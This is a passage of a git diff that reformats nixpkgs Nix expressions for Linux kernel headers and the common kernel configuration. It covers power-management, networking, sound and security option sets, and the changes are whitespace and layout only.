diff --git a/pkgs/os-specific/linux/kernel-headers/default.nix b/pkgs/os-specific/linux/kernel-headers/default.nix
index 722965fed1e1..a86fb68e1416 100644
--- a/pkgs/os-specific/linux/kernel-headers/default.nix
+++ b/pkgs/os-specific/linux/kernel-headers/default.nix
@@ -58,20 +58,19 @@ let
       # We do this so we have a build->build, not build->host, C compiler.
       depsBuildBuild = [ buildPackages.stdenv.cc ];
       # `elf-header` is null when libc provides `elf.h`.
-      nativeBuildInputs =
-        [
-          perl
-          elf-header
-        ]
-        ++ lib.optionals stdenvNoCC.hostPlatform.isAndroid [
-          bison
-          flex
-          rsync
-        ]
-        ++ lib.optionals (stdenvNoCC.buildPlatform.isDarwin && stdenvNoCC.hostPlatform.isMips) [
-          darwin-endian-h
-          darwin-byteswap-h
-        ];
+      nativeBuildInputs = [
+        perl
+        elf-header
+      ]
+      ++ lib.optionals stdenvNoCC.hostPlatform.isAndroid [
+        bison
+        flex
+        rsync
+      ]
+      ++ lib.optionals (stdenvNoCC.buildPlatform.isDarwin && stdenvNoCC.hostPlatform.isMips) [
+        darwin-endian-h
+        darwin-byteswap-h
+      ];
 
       extraIncludeDirs = lib.optionals (with stdenvNoCC.hostPlatform; isPower && is32bit && isBigEndian) [
         "ppc"
@@ -119,17 +118,16 @@ let
       # but rsync depends on popt which does not compile on aarch64 without
       # updateAutotoolsGnuConfigScriptsHook which is not enabled in stage2,
       # so we replicate it with cp. This also reduces bootstrap closure size.
-      installPhase =
-        ''
-          mkdir -p $out
-          cp -r usr/include $out
-          find $out -type f ! -name '*.h' -delete
-        ''
-        # Some builds (e.g. KVM) want a kernel.release.
-        + ''
-          mkdir -p $out/include/config
-          echo "${version}-default" > $out/include/config/kernel.release
-        '';
+      installPhase = ''
+        mkdir -p $out
+        cp -r usr/include $out
+        find $out -type f ! -name '*.h' -delete
+      ''
+      # Some builds (e.g. KVM) want a kernel.release.
+      + ''
+        mkdir -p $out/include/config
+        echo "${version}-default" > $out/include/config/kernel.release
+      '';
 
       meta = with lib; {
         description = "Header files and scripts for Linux kernel";
diff --git a/pkgs/os-specific/linux/kernel/common-config.nix b/pkgs/os-specific/linux/kernel/common-config.nix
index 2e233e073177..6b451dff2e8c 100644
--- a/pkgs/os-specific/linux/kernel/common-config.nix
+++ b/pkgs/os-specific/linux/kernel/common-config.nix
@@ -117,93 +117,92 @@ let
       MEM_ALLOC_PROFILING_ENABLED_BY_DEFAULT = whenAtLeast "6.10" yes;
     };
 
-    power-management =
-      {
-        CPU_FREQ_DEFAULT_GOV_SCHEDUTIL = yes;
-        CPU_FREQ_GOV_SCHEDUTIL = yes;
-        PM_DEBUG = yes;
-        PM_ADVANCED_DEBUG = yes;
-        PM_WAKELOCKS = yes;
-        POWERCAP = yes;
-        # ACPI Firmware Performance Data Table Support
-        ACPI_FPDT = whenAtLeast "5.12" (option yes);
-        # ACPI Heterogeneous Memory Attribute Table Support
-        ACPI_HMAT = option yes;
-        # ACPI Platform Error Interface
-        ACPI_APEI = (option yes);
-        # APEI Generic Hardware Error Source
-        ACPI_APEI_GHES = (option yes);
+    power-management = {
+      CPU_FREQ_DEFAULT_GOV_SCHEDUTIL = yes;
+      CPU_FREQ_GOV_SCHEDUTIL = yes;
+      PM_DEBUG = yes;
+      PM_ADVANCED_DEBUG = yes;
+      PM_WAKELOCKS = yes;
+      POWERCAP = yes;
+      # ACPI Firmware Performance Data Table Support
+      ACPI_FPDT = whenAtLeast "5.12" (option yes);
+      # ACPI Heterogeneous Memory Attribute Table Support
+      ACPI_HMAT = option yes;
+      # ACPI Platform Error Interface
+      ACPI_APEI = (option yes);
+      # APEI Generic Hardware Error Source
+      ACPI_APEI_GHES = (option yes);
 
-        # Without this, on some hardware the kernel fails at some
-        # point after the EFI stub has executed but before a console
-        # is set up. Regardless, it's good to have the extra debug
-        # anyway.
-        ACPI_DEBUG = yes;
+      # Without this, on some hardware the kernel fails at some
+      # point after the EFI stub has executed but before a console
+      # is set up. Regardless, it's good to have the extra debug
+      # anyway.
+      ACPI_DEBUG = yes;
 
-        # Enable lazy RCUs for power savings:
-        # https://lore.kernel.org/rcu/20221019225138.GA2499943@paulmck-ThinkPad-P17-Gen-1/
-        # RCU_LAZY depends on RCU_NOCB_CPU depends on NO_HZ_FULL
-        # depends on HAVE_VIRT_CPU_ACCOUNTING_GEN depends on 64BIT,
-        # so we can't force-enable this
-        RCU_LAZY = whenAtLeast "6.2" (option yes);
+      # Enable lazy RCUs for power savings:
+      # https://lore.kernel.org/rcu/20221019225138.GA2499943@paulmck-ThinkPad-P17-Gen-1/
+      # RCU_LAZY depends on RCU_NOCB_CPU depends on NO_HZ_FULL
+      # depends on HAVE_VIRT_CPU_ACCOUNTING_GEN depends on 64BIT,
+      # so we can't force-enable this
+      RCU_LAZY = whenAtLeast "6.2" (option yes);
 
-        # Auto suspend Bluetooth devices at idle
-        BT_HCIBTUSB_AUTOSUSPEND = yes;
+      # Auto suspend Bluetooth devices at idle
+      BT_HCIBTUSB_AUTOSUSPEND = yes;
 
-        # Expose cpufreq stats in sysfs
-        CPU_FREQ_STAT = yes;
+      # Expose cpufreq stats in sysfs
+      CPU_FREQ_STAT = yes;
 
-        # Enable CPU energy model for scheduling
-        ENERGY_MODEL = whenAtLeast "5.0" yes;
+      # Enable CPU energy model for scheduling
+      ENERGY_MODEL = whenAtLeast "5.0" yes;
 
-        # Enable thermal interface netlink API
-        THERMAL_NETLINK = whenAtLeast "5.9" yes;
+      # Enable thermal interface netlink API
+      THERMAL_NETLINK = whenAtLeast "5.9" yes;
 
-        # Prefer power-efficient workqueue implementation to per-CPU workqueues,
-        # which is slightly slower, but improves battery life.
-        # This is opt-in per workqueue, and can be disabled globally with a kernel command line option.
-        WQ_POWER_EFFICIENT_DEFAULT = yes;
+      # Prefer power-efficient workqueue implementation to per-CPU workqueues,
+      # which is slightly slower, but improves battery life.
+      # This is opt-in per workqueue, and can be disabled globally with a kernel command line option.
+      WQ_POWER_EFFICIENT_DEFAULT = yes;
 
-        # Default SATA link power management to "medium with device initiated PM"
-        # for some extra power savings.
-        SATA_MOBILE_LPM_POLICY = whenAtLeast "5.18" (freeform "3");
+      # Default SATA link power management to "medium with device initiated PM"
+      # for some extra power savings.
+      SATA_MOBILE_LPM_POLICY = whenAtLeast "5.18" (freeform "3");
 
-        # GPIO power management
-        POWER_RESET_GPIO = option yes;
-        POWER_RESET_GPIO_RESTART = option yes;
+      # GPIO power management
+      POWER_RESET_GPIO = option yes;
+      POWER_RESET_GPIO_RESTART = option yes;
 
-        # Enable Pulse-Width-Modulation support, commonly used for fan and backlight.
-        PWM = yes;
-      }
-      // lib.optionalAttrs (stdenv.hostPlatform.isx86) {
-        INTEL_IDLE = yes;
-        INTEL_RAPL = module;
-        X86_INTEL_LPSS = yes;
-        X86_INTEL_PSTATE = yes;
-        X86_AMD_PSTATE = whenAtLeast "5.17" yes;
-        # Intel DPTF (Dynamic Platform and Thermal Framework) Support
-        ACPI_DPTF = whenAtLeast "5.10" yes;
+      # Enable Pulse-Width-Modulation support, commonly used for fan and backlight.
+      PWM = yes;
+    }
+    // lib.optionalAttrs (stdenv.hostPlatform.isx86) {
+      INTEL_IDLE = yes;
+      INTEL_RAPL = module;
+      X86_INTEL_LPSS = yes;
+      X86_INTEL_PSTATE = yes;
+      X86_AMD_PSTATE = whenAtLeast "5.17" yes;
+      # Intel DPTF (Dynamic Platform and Thermal Framework) Support
+      ACPI_DPTF = whenAtLeast "5.10" yes;
 
-        # Required to bring up some Bay Trail devices properly
-        I2C = yes;
-        I2C_DESIGNWARE_CORE = yes;
-        I2C_DESIGNWARE_PLATFORM = yes;
-        PMIC_OPREGION = whenAtLeast "5.10" yes;
-        INTEL_SOC_PMIC = whenAtLeast "5.10" yes;
-        BYTCRC_PMIC_OPREGION = whenAtLeast "5.10" yes;
-        CHTCRC_PMIC_OPREGION = whenAtLeast "5.10" yes;
-        XPOWER_PMIC_OPREGION = whenAtLeast "5.10" yes;
-        BXT_WC_PMIC_OPREGION = whenAtLeast "5.10" yes;
-        INTEL_SOC_PMIC_CHTWC = whenAtLeast "5.10" yes;
-        CHT_WC_PMIC_OPREGION = whenAtLeast "5.10" yes;
-        INTEL_SOC_PMIC_CHTDC_TI = whenAtLeast "5.10" yes;
-        CHT_DC_TI_PMIC_OPREGION = whenAtLeast "5.10" yes;
-        MFD_TPS68470 = whenBetween "5.10" "5.13" yes;
-        TPS68470_PMIC_OPREGION = whenAtLeast "5.10" yes;
+      # Required to bring up some Bay Trail devices properly
+      I2C = yes;
+      I2C_DESIGNWARE_CORE = yes;
+      I2C_DESIGNWARE_PLATFORM = yes;
+      PMIC_OPREGION = whenAtLeast "5.10" yes;
+      INTEL_SOC_PMIC = whenAtLeast "5.10" yes;
+      BYTCRC_PMIC_OPREGION = whenAtLeast "5.10" yes;
+      CHTCRC_PMIC_OPREGION = whenAtLeast "5.10" yes;
+      XPOWER_PMIC_OPREGION = whenAtLeast "5.10" yes;
+      BXT_WC_PMIC_OPREGION = whenAtLeast "5.10" yes;
+      INTEL_SOC_PMIC_CHTWC = whenAtLeast "5.10" yes;
+      CHT_WC_PMIC_OPREGION = whenAtLeast "5.10" yes;
+      INTEL_SOC_PMIC_CHTDC_TI = whenAtLeast "5.10" yes;
+      CHT_DC_TI_PMIC_OPREGION = whenAtLeast "5.10" yes;
+      MFD_TPS68470 = whenBetween "5.10" "5.13" yes;
+      TPS68470_PMIC_OPREGION = whenAtLeast "5.10" yes;
 
-        # Enable Intel thermal hardware feedback
-        INTEL_HFI_THERMAL = whenAtLeast "5.18" yes;
-      };
+      # Enable Intel thermal hardware feedback
+      INTEL_HFI_THERMAL = whenAtLeast "5.18" yes;
+    };
 
     external-firmware = {
       # Support drivers that need external firmware.
@@ -222,27 +221,26 @@ let
       CC_OPTIMIZE_FOR_SIZE = no;
     };
 
-    memory =
-      {
-        DAMON = whenAtLeast "5.15" yes;
-        DAMON_VADDR = whenAtLeast "5.15" yes;
-        DAMON_PADDR = whenAtLeast "5.16" yes;
-        DAMON_SYSFS = whenAtLeast "5.18" yes;
-        DAMON_DBGFS = whenBetween "5.15" "6.9" yes;
-        DAMON_RECLAIM = whenAtLeast "5.16" yes;
-        DAMON_LRU_SORT = whenAtLeast "6.0" yes;
-        # Support recovering from memory failures on systems with ECC and MCA recovery.
-        MEMORY_FAILURE = yes;
+    memory = {
+      DAMON = whenAtLeast "5.15" yes;
+      DAMON_VADDR = whenAtLeast "5.15" yes;
+      DAMON_PADDR = whenAtLeast "5.16" yes;
+      DAMON_SYSFS = whenAtLeast "5.18" yes;
+      DAMON_DBGFS = whenBetween "5.15" "6.9" yes;
+      DAMON_RECLAIM = whenAtLeast "5.16" yes;
+      DAMON_LRU_SORT = whenAtLeast "6.0" yes;
+      # Support recovering from memory failures on systems with ECC and MCA recovery.
+      MEMORY_FAILURE = yes;
 
-        # Collect ECC errors and retire pages that fail too often
-        RAS_CEC = lib.mkIf stdenv.hostPlatform.isx86 yes;
-      }
-      // lib.optionalAttrs (stdenv.hostPlatform.is32bit) {
-        # Enable access to the full memory range (aka PAE) on 32-bit architectures
-        # This check isn't super accurate but it's close enough
-        HIGHMEM = option yes;
-        BOUNCE = option yes;
-      };
+      # Collect ECC errors and retire pages that fail too often
+      RAS_CEC = lib.mkIf stdenv.hostPlatform.isx86 yes;
+    }
+    // lib.optionalAttrs (stdenv.hostPlatform.is32bit) {
+      # Enable access to the full memory range (aka PAE) on 32-bit architectures
+      # This check isn't super accurate but it's close enough
+      HIGHMEM = option yes;
+      BOUNCE = option yes;
+    };
 
     memtest = {
       MEMTEST = yes;
@@ -277,135 +275,134 @@ let
       NUMA_BALANCING = option yes;
     };
 
-    networking =
-      {
-        NET = yes;
-        IP_ADVANCED_ROUTER = yes;
-        IP_PNP = no;
-        IP_ROUTE_MULTIPATH = yes;
-        IP_VS_PROTO_TCP = yes;
-        IP_VS_PROTO_UDP = yes;
-        IP_VS_PROTO_ESP = yes;
-        IP_VS_PROTO_AH = yes;
-        IP_VS_IPV6 = yes;
-        IP_DCCP_CCID3 = whenOlder "6.16" no; # experimental
-        CLS_U32_PERF = yes;
-        CLS_U32_MARK = yes;
-        BPF_JIT = whenPlatformHasEBPFJit yes;
-        BPF_JIT_ALWAYS_ON = whenPlatformHasEBPFJit no; # whenPlatformHasEBPFJit yes; # see https://github.com/NixOS/nixpkgs/issues/79304
-        HAVE_EBPF_JIT = whenPlatformHasEBPFJit yes;
-        BPF_STREAM_PARSER = yes;
-        XDP_SOCKETS = yes;
-        XDP_SOCKETS_DIAG = yes;
-        WAN = yes;
-        TCP_CONG_ADVANCED = yes;
-        TCP_CONG_CUBIC = yes; # This is the default congestion control algorithm since 2.6.19
-        # Required by systemd per-cgroup firewalling
-        CGROUP_BPF = option yes;
-        CGROUP_NET_PRIO = yes; # Required by systemd
-        IP_ROUTE_VERBOSE = yes;
-        IP_MROUTE = yes;
-        IP_MROUTE_MULTIPLE_TABLES = yes;
-        IP_MULTICAST = yes;
-        IP_MULTIPLE_TABLES = yes;
-        IPV6 = yes;
-        IPV6_ROUTER_PREF = yes;
-        IPV6_ROUTE_INFO = yes;
-        IPV6_OPTIMISTIC_DAD = yes;
-        IPV6_MULTIPLE_TABLES = yes;
-        IPV6_SUBTREES = yes;
-        IPV6_MROUTE = yes;
-        IPV6_MROUTE_MULTIPLE_TABLES = yes;
-        IPV6_PIMSM_V2 = yes;
-        IPV6_FOU_TUNNEL = module;
-        IPV6_SEG6_LWTUNNEL = yes;
-        IPV6_SEG6_HMAC = yes;
-        IPV6_SEG6_BPF = yes;
-        NET_CLS_BPF = module;
-        NET_ACT_BPF = module;
-        NET_SCHED = yes;
-        L2TP_V3 = yes;
-        L2TP_IP = module;
-        L2TP_ETH = module;
-        BRIDGE_VLAN_FILTERING = yes;
-        BONDING = module;
-        NET_L3_MASTER_DEV = option yes;
-        NET_FOU_IP_TUNNELS = option yes;
-        IP_NF_TARGET_REDIRECT = module;
-        NETKIT = whenAtLeast "6.7" yes;
+    networking = {
+      NET = yes;
+      IP_ADVANCED_ROUTER = yes;
+      IP_PNP = no;
+      IP_ROUTE_MULTIPATH = yes;
+      IP_VS_PROTO_TCP = yes;
+      IP_VS_PROTO_UDP = yes;
+      IP_VS_PROTO_ESP = yes;
+      IP_VS_PROTO_AH = yes;
+      IP_VS_IPV6 = yes;
+      IP_DCCP_CCID3 = whenOlder "6.16" no; # experimental
+      CLS_U32_PERF = yes;
+      CLS_U32_MARK = yes;
+      BPF_JIT = whenPlatformHasEBPFJit yes;
+      BPF_JIT_ALWAYS_ON = whenPlatformHasEBPFJit no; # whenPlatformHasEBPFJit yes; # see https://github.com/NixOS/nixpkgs/issues/79304
+      HAVE_EBPF_JIT = whenPlatformHasEBPFJit yes;
+      BPF_STREAM_PARSER = yes;
+      XDP_SOCKETS = yes;
+      XDP_SOCKETS_DIAG = yes;
+      WAN = yes;
+      TCP_CONG_ADVANCED = yes;
+      TCP_CONG_CUBIC = yes; # This is the default congestion control algorithm since 2.6.19
+      # Required by systemd per-cgroup firewalling
+      CGROUP_BPF = option yes;
+      CGROUP_NET_PRIO = yes; # Required by systemd
+      IP_ROUTE_VERBOSE = yes;
+      IP_MROUTE = yes;
+      IP_MROUTE_MULTIPLE_TABLES = yes;
+      IP_MULTICAST = yes;
+      IP_MULTIPLE_TABLES = yes;
+      IPV6 = yes;
+      IPV6_ROUTER_PREF = yes;
+      IPV6_ROUTE_INFO = yes;
+      IPV6_OPTIMISTIC_DAD = yes;
+      IPV6_MULTIPLE_TABLES = yes;
+      IPV6_SUBTREES = yes;
+      IPV6_MROUTE = yes;
+      IPV6_MROUTE_MULTIPLE_TABLES = yes;
+      IPV6_PIMSM_V2 = yes;
+      IPV6_FOU_TUNNEL = module;
+      IPV6_SEG6_LWTUNNEL = yes;
+      IPV6_SEG6_HMAC = yes;
+      IPV6_SEG6_BPF = yes;
+      NET_CLS_BPF = module;
+      NET_ACT_BPF = module;
+      NET_SCHED = yes;
+      L2TP_V3 = yes;
+      L2TP_IP = module;
+      L2TP_ETH = module;
+      BRIDGE_VLAN_FILTERING = yes;
+      BONDING = module;
+      NET_L3_MASTER_DEV = option yes;
+      NET_FOU_IP_TUNNELS = option yes;
+      IP_NF_TARGET_REDIRECT = module;
+      NETKIT = whenAtLeast "6.7" yes;
 
-        PPP_MULTILINK = yes; # PPP multilink support
-        PPP_FILTER = yes;
+      PPP_MULTILINK = yes; # PPP multilink support
+      PPP_FILTER = yes;
 
-        # needed for iwd WPS support (wpa_supplicant replacement)
-        KEY_DH_OPERATIONS = yes;
+      # needed for iwd WPS support (wpa_supplicant replacement)
+      KEY_DH_OPERATIONS = yes;
 
-        # needed for nftables
-        # Networking Options
-        NETFILTER = yes;
-        NETFILTER_ADVANCED = yes;
-        # Core Netfilter Configuration
-        NF_CONNTRACK_ZONES = yes;
-        NF_CONNTRACK_EVENTS = yes;
-        NF_CONNTRACK_TIMEOUT = yes;
-        NF_CONNTRACK_TIMESTAMP = yes;
-        NETFILTER_NETLINK_GLUE_CT = yes;
-        NF_TABLES_INET = yes;
-        NF_TABLES_NETDEV = yes;
-        NFT_REJECT_NETDEV = whenAtLeast "5.11" module;
+      # needed for nftables
+      # Networking Options
+      NETFILTER = yes;
+      NETFILTER_ADVANCED = yes;
+      # Core Netfilter Configuration
+      NF_CONNTRACK_ZONES = yes;
+      NF_CONNTRACK_EVENTS = yes;
+      NF_CONNTRACK_TIMEOUT = yes;
+      NF_CONNTRACK_TIMESTAMP = yes;
+      NETFILTER_NETLINK_GLUE_CT = yes;
+      NF_TABLES_INET = yes;
+      NF_TABLES_NETDEV = yes;
+      NFT_REJECT_NETDEV = whenAtLeast "5.11" module;
 
-        # IP: Netfilter Configuration
-        NF_TABLES_IPV4 = yes;
-        NF_TABLES_ARP = yes;
-        # IPv6: Netfilter Configuration
-        NF_TABLES_IPV6 = yes;
-        # Bridge Netfilter Configuration
-        NF_TABLES_BRIDGE = module;
-        # Expose some debug info
-        NF_CONNTRACK_PROCFS = yes;
-        NF_FLOW_TABLE_PROCFS = whenAtLeast "6.0" yes;
+      # IP: Netfilter Configuration
+      NF_TABLES_IPV4 = yes;
+      NF_TABLES_ARP = yes;
+      # IPv6: Netfilter Configuration
+      NF_TABLES_IPV6 = yes;
+      # Bridge Netfilter Configuration
+      NF_TABLES_BRIDGE = module;
+      # Expose some debug info
+      NF_CONNTRACK_PROCFS = yes;
+      NF_FLOW_TABLE_PROCFS = whenAtLeast "6.0" yes;
 
-        # needed for `dropwatch`
-        # Builtin-only since https://github.com/torvalds/linux/commit/f4b6bcc7002f0e3a3428bac33cf1945abff95450
-        NET_DROP_MONITOR = yes;
+      # needed for `dropwatch`
+      # Builtin-only since https://github.com/torvalds/linux/commit/f4b6bcc7002f0e3a3428bac33cf1945abff95450
+      NET_DROP_MONITOR = yes;
 
-        # needed for ss
-        # Use a lower priority to allow these options to be overridden in hardened/config.nix
-        INET_DIAG = lib.mkDefault module;
-        INET_TCP_DIAG = lib.mkDefault module;
-        INET_UDP_DIAG = lib.mkDefault module;
-        INET_RAW_DIAG = lib.mkDefault module;
-        INET_DIAG_DESTROY = lib.mkDefault yes;
+      # needed for ss
+      # Use a lower priority to allow these options to be overridden in hardened/config.nix
+      INET_DIAG = lib.mkDefault module;
+      INET_TCP_DIAG = lib.mkDefault module;
+      INET_UDP_DIAG = lib.mkDefault module;
+      INET_RAW_DIAG = lib.mkDefault module;
+      INET_DIAG_DESTROY = lib.mkDefault yes;
 
-        # IPsec over TCP
-        INET_ESPINTCP = whenAtLeast "5.8" yes;
-        INET6_ESPINTCP = whenAtLeast "5.8" yes;
+      # IPsec over TCP
+      INET_ESPINTCP = whenAtLeast "5.8" yes;
+      INET6_ESPINTCP = whenAtLeast "5.8" yes;
 
-        # enable multipath-tcp
-        MPTCP = whenAtLeast "5.6" yes;
-        MPTCP_IPV6 = whenAtLeast "5.6" yes;
-        INET_MPTCP_DIAG = whenAtLeast "5.9" (lib.mkDefault module);
+      # enable multipath-tcp
+      MPTCP = whenAtLeast "5.6" yes;
+      MPTCP_IPV6 = whenAtLeast "5.6" yes;
+      INET_MPTCP_DIAG = whenAtLeast "5.9" (lib.mkDefault module);
 
-        # Kernel TLS
-        TLS = module;
-        TLS_DEVICE = yes;
+      # Kernel TLS
+      TLS = module;
+      TLS_DEVICE = yes;
 
-        # infiniband
-        INFINIBAND = module;
-        INFINIBAND_IPOIB = module;
-        INFINIBAND_IPOIB_CM = yes;
+      # infiniband
+      INFINIBAND = module;
+      INFINIBAND_IPOIB = module;
+      INFINIBAND_IPOIB_CM = yes;
 
-        # Enable debugfs for wireless drivers
-        CFG80211_DEBUGFS = yes;
-        MAC80211_DEBUGFS = yes;
-      }
-      // lib.optionalAttrs (stdenv.hostPlatform.system == "aarch64-linux") {
-        # Not enabled by default, hides modules behind it
-        NET_VENDOR_MEDIATEK = yes;
-        # Enable SoC interface for MT7915 module, required for MT798X.
-        MT7986_WMAC = whenBetween "5.18" "6.6" yes;
-        MT798X_WMAC = whenAtLeast "6.6" yes;
-      };
+      # Enable debugfs for wireless drivers
+      CFG80211_DEBUGFS = yes;
+      MAC80211_DEBUGFS = yes;
+    }
+    // lib.optionalAttrs (stdenv.hostPlatform.system == "aarch64-linux") {
+      # Not enabled by default, hides modules behind it
+      NET_VENDOR_MEDIATEK = yes;
+      # Enable SoC interface for MT7915 module, required for MT798X.
+      MT7986_WMAC = whenBetween "5.18" "6.6" yes;
+      MT798X_WMAC = whenAtLeast "6.6" yes;
+    };
 
     wireless = {
       CFG80211_WEXT = option yes; # Without it, ipw2200 drivers don't build
@@ -580,28 +577,27 @@ let
       DRM_PANIC_SCREEN_QR_CODE = whenAtLeast "6.12" yes;
     };
 
-    sound =
-      {
-        SND_DYNAMIC_MINORS = yes;
-        SND_AC97_POWER_SAVE = yes; # AC97 Power-Saving Mode
-        # 10s for the idle timeout, Fedora does 1, Arch does 10.
-        # The kernel says we should do 10.
-        # Read: https://docs.kernel.org/sound/designs/powersave.html
-        SND_AC97_POWER_SAVE_DEFAULT = freeform "10";
-        SND_HDA_POWER_SAVE_DEFAULT = freeform "10";
-        SND_HDA_INPUT_BEEP = yes; # Support digital beep via input layer
-        SND_HDA_RECONFIG = yes; # Support reconfiguration of jack functions
-        # Support configuring jack functions via fw mechanism at boot
-        SND_HDA_PATCH_LOADER = yes;
-        SND_HDA_CODEC_CA0132_DSP = whenOlder "5.7" yes; # Enable DSP firmware loading on Creative Soundblaster Z/Zx/ZxR/Recon
-        SND_HDA_CODEC_CS8409 = whenAtLeast "6.6" module; # Cirrus Logic HDA Bridge CS8409
-        SND_OSSEMUL = yes;
-        SND_USB_CAIAQ_INPUT = yes;
-        SND_USB_AUDIO_MIDI_V2 = whenAtLeast "6.5" yes;
-        # Enable Sound Open Firmware support
-      }
-      // lib.optionalAttrs
-        (stdenv.hostPlatform.system == "x86_64-linux" && lib.versionAtLeast version "5.5")
+    sound = {
+      SND_DYNAMIC_MINORS = yes;
+      SND_AC97_POWER_SAVE = yes; # AC97 Power-Saving Mode
+      # 10s for the idle timeout, Fedora does 1, Arch does 10.
+      # The kernel says we should do 10.
+      # Read: https://docs.kernel.org/sound/designs/powersave.html
+      SND_AC97_POWER_SAVE_DEFAULT = freeform "10";
+      SND_HDA_POWER_SAVE_DEFAULT = freeform "10";
+      SND_HDA_INPUT_BEEP = yes; # Support digital beep via input layer
+      SND_HDA_RECONFIG = yes; # Support reconfiguration of jack functions
+      # Support configuring jack functions via fw mechanism at boot
+      SND_HDA_PATCH_LOADER = yes;
+      SND_HDA_CODEC_CA0132_DSP = whenOlder "5.7" yes; # Enable DSP firmware loading on Creative Soundblaster Z/Zx/ZxR/Recon
+      SND_HDA_CODEC_CS8409 = whenAtLeast "6.6" module; # Cirrus Logic HDA Bridge CS8409
+      SND_OSSEMUL = yes;
+      SND_USB_CAIAQ_INPUT = yes;
+      SND_USB_AUDIO_MIDI_V2 = whenAtLeast "6.5" yes;
+      # Enable Sound Open Firmware support
+    }
+    //
+      lib.optionalAttrs (stdenv.hostPlatform.system == "x86_64-linux" && lib.versionAtLeast version "5.5")
         {
           SND_SOC_INTEL_SOUNDWIRE_SOF_MACH = whenAtLeast "5.10" module;
           SND_SOC_INTEL_USER_FRIENDLY_LONG_NAMES = whenAtLeast "5.10" yes; # dep of SOF_MACH
@@ -755,109 +751,108 @@ let
       UNICODE = yes; # Casefolding support for filesystems
     };
 
-    security =
-      {
-        # Report BUG() conditions and kill the offending process.
-        BUG = yes;
-        BUG_ON_DATA_CORRUPTION = yes;
+    security = {
+      # Report BUG() conditions and kill the offending process.
+      BUG = yes;
+      BUG_ON_DATA_CORRUPTION = yes;
 
-        FORTIFY_SOURCE = option yes;
+      FORTIFY_SOURCE = option yes;
 
-        # https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
-        DEBUG_LIST = yes;
+      # https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
+      DEBUG_LIST = yes;
 
-        HARDENED_USERCOPY = yes;
-        RANDOMIZE_BASE = option yes;
-        STRICT_KERNEL_RWX = yes;
-        STRICT_MODULE_RWX = yes;
-        STRICT_DEVMEM = lib.mkDefault yes; # Filter access to /dev/mem
-        IO_STRICT_DEVMEM = lib.mkDefault yes;
+      HARDENED_USERCOPY = yes;
+      RANDOMIZE_BASE = option yes;
+      STRICT_KERNEL_RWX = yes;
+      STRICT_MODULE_RWX = yes;
+      STRICT_DEVMEM = lib.mkDefault yes; # Filter access to /dev/mem
+      IO_STRICT_DEVMEM = lib.mkDefault yes;
 
-        # Prevent processes from ptracing non-children processes
-        SECURITY_YAMA = option yes;
-        # The goal of Landlock is to enable to restrict ambient rights (e.g. global filesystem access) for a set of processes.
-        # This does not have any effect if a program does not support it
-        SECURITY_LANDLOCK = whenAtLeast "5.13" yes;
+      # Prevent processes from ptracing non-children processes
+      SECURITY_YAMA = option yes;
+      # The goal of Landlock is to enable to restrict ambient rights (e.g. global filesystem access) for a set of processes.
+      # This does not have any effect if a program does not support it
+      SECURITY_LANDLOCK = whenAtLeast "5.13" yes;
 
-        DEVKMEM = lib.mkIf (!stdenv.hostPlatform.isAarch64) (whenOlder "5.13" no); # Disable /dev/kmem
+      DEVKMEM = lib.mkIf (!stdenv.hostPlatform.isAarch64) (whenOlder "5.13" no); # Disable /dev/kmem
 
-        USER_NS = yes; # Support for user namespaces
+      USER_NS = yes; # Support for user namespaces
 
-        SECURITY_APPARMOR = yes;
-        DEFAULT_SECURITY_APPARMOR = yes;
+      SECURITY_APPARMOR = yes;
+      DEFAULT_SECURITY_APPARMOR = yes;
 
-        SECURITY_DMESG_RESTRICT = yes;
+      SECURITY_DMESG_RESTRICT = yes;
 
-        RANDOM_TRUST_CPU = whenOlder "6.2" yes; # allow RDRAND to seed the RNG
-        RANDOM_TRUST_BOOTLOADER = whenOlder "6.2" yes; # allow the bootloader to seed the RNG
+      RANDOM_TRUST_CPU = whenOlder "6.2" yes; # allow RDRAND to seed the RNG
+      RANDOM_TRUST_BOOTLOADER = whenOlder "6.2" yes; # allow the bootloader to seed the RNG
 
-        MODULE_SIG = no; # r13y, generates a random key during build and bakes it in
-        # Depends on MODULE_SIG and only really helps when you sign your modules
-        # and enforce signatures which we don't do by default.
-        SECURITY_LOCKDOWN_LSM = no;
+      MODULE_SIG = no; # r13y, generates a random key during build and bakes it in
+      # Depends on MODULE_SIG and only really helps when you sign your modules
+      # and enforce signatures which we don't do by default.
+      SECURITY_LOCKDOWN_LSM = no;
 
-        # provides a register of persistent per-UID keyrings, useful for encrypting storage pools in stratis
-        PERSISTENT_KEYRINGS = yes;
-        # enable temporary caching of the last request_key() result
-        KEYS_REQUEST_CACHE = yes;
-        # randomized slab caches
-        RANDOM_KMALLOC_CACHES = whenAtLeast "6.6" yes;
+      # provides a register of persistent per-UID keyrings, useful for encrypting storage pools in stratis
+      PERSISTENT_KEYRINGS = yes;
+      # enable temporary caching of the last request_key() result
+      KEYS_REQUEST_CACHE = yes;
+      # randomized slab caches
+      RANDOM_KMALLOC_CACHES = whenAtLeast "6.6" yes;
 
-        # NIST SP800-90A DRBG modes - enabled by most distributions
-        #   and required by some out-of-tree modules (ShuffleCake)
-        #   This does not include the NSA-backdoored Dual-EC mode from the same NIST publication.
-        CRYPTO_DRBG_HASH = yes;
-        CRYPTO_DRBG_CTR = yes;
+      # NIST SP800-90A DRBG modes - enabled by most distributions
+      #   and required by some out-of-tree modules (ShuffleCake)
+      #   This does not include the NSA-backdoored Dual-EC mode from the same NIST publication.
+      CRYPTO_DRBG_HASH = yes;
+      CRYPTO_DRBG_CTR = yes;
 
-        # Enable KFENCE
-        # See: https://docs.kernel.org/dev-tools/kfence.html
-        KFENCE = whenAtLeast "5.12" yes;
+      # Enable KFENCE
+      # See: https://docs.kernel.org/dev-tools/kfence.html
+      KFENCE = whenAtLeast "5.12" yes;
 
-        # Enable support for page poisoning. Still needs to be enabled on the command line to actually work.
-        PAGE_POISONING = yes;
-        # Randomize page allocator when page_alloc.shuffle=1
-        SHUFFLE_PAGE_ALLOCATOR = yes;
+      # Enable support for page poisoning. Still needs to be enabled on the command line to actually work.
+      PAGE_POISONING = yes;
+      # Randomize page allocator when page_alloc.shuffle=1
+      SHUFFLE_PAGE_ALLOCATOR = yes;
 
-        INIT_ON_ALLOC_DEFAULT_ON = yes;
+      INIT_ON_ALLOC_DEFAULT_ON = yes;
 
-        # Enable stack smashing protections in schedule()
